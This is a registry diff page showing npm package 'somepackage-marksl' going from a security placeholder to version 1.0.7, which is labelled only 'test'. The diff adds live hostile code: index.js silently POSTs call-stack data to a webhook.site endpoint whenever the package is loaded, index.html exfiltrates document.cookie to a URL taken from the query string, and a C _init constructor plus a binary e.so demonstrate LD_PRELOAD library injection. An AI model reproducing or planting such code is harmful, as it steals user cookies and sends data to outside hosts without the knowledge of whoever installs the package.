somepackage-marksl 0.0.1-security → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of somepackage-marksl might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=somepackage-marksl for more information.
1
+ # somepackage-marksl
2
+ test
Binary file
package/bin/e.so ADDED
Binary file
package/bin/test.c ADDED
@@ -0,0 +1,10 @@
1
+ #include <stdio.h>
2
+ #include <stdlib.h>
3
+ #include <unistd.h>
4
+ #define FILE_NAME "/tmp/hacked2.txt"
5
+
6
+ void _init() {
7
+ unsetenv("LD_PRELOAD");
8
+ FILE* file_ptr = fopen(FILE_NAME, "w");
9
+ fclose(file_ptr);
10
+ }
package/index.html ADDED
@@ -0,0 +1,11 @@
1
+ <script>
2
+ const queryString = window.location.search;
3
+ const urlParams = new URLSearchParams(queryString);
4
+ const urlParam = urlParams.get('url');
5
+
6
+ if (urlParam) {
7
+ fetch(urlParam + '?c=' + encodeURIComponent(document.cookie))
8
+ }
9
+
10
+ alert(document.cookie)
11
+ </script>
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ const https = require('https')
2
+
3
+ const error = new Error();
4
+ Error.captureStackTrace(error);
5
+ const callStack = error.stack;
6
+
7
+ const data = JSON.stringify({
8
+ callStack
9
+ });
10
+
11
+ const options = {
12
+ hostname: 'webhook.site',
13
+ path: '/85f75f80-becd-4efb-8d26-404915a28143/hi',
14
+ method: 'POST',
15
+ headers: {
16
+ 'Content-Length': data.length
17
+ }
18
+ };
19
+
20
+ const req = https.request(options, (res) => {
21
+ console.log(`Status code: ${res.statusCode}`);
22
+
23
+ res.on('data', (chunk) => {
24
+ console.log(`Body: ${chunk}`);
25
+ });
26
+
27
+ res.on('end', () => {
28
+ console.log('Request completed.');
29
+ });
30
+ });
31
+
32
+ req.on('error', (error) => {
33
+ console.error(`Error: ${error.message}`);
34
+ });
35
+
36
+ req.write(data);
37
+ req.end();
38
+
39
+ exports.printMsg = function() {
40
+ console.log("marksl test");
41
+ return "marksl test";
42
+ }
package/package.json CHANGED
@@ -1,6 +1,22 @@
1
1
  {
2
2
  "name": "somepackage-marksl",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.7",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/markslWix/somepackage-marksl.git"
12
+ },
13
+ "keywords": [
14
+ "test"
15
+ ],
16
+ "author": "marksl@wix.com",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://github.com/markslWix/somepackage-marksl/issues"
20
+ },
21
+ "homepage": "https://github.com/markslWix/somepackage-marksl#readme"
6
22
  }